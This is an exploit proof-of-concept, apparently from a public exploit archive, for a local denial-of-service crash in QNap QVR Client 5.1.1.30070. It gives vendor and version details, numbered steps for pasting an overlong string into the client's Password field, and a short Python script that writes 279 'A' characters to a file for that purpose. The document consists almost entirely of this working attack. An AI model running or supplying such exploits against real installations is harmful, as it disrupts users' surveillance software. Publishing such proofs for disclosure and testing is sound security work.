QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)

# Exploit Title: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.qnapsecurity.com/n/en/
# Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip
# Tested Version: 5.1.1.30070
# Vulnerability Type:   Denial of Service (DoS) Local
# Tested on OS:         Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py
# 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard
# 3.- Open QVR.exe
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Username -> admin
# 6.- Paste ClipBoard on Password
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 279
f = open ("QNap_QVR_Client_5.1.1.30070.txt", "w")
f.write(buffer)
f.close()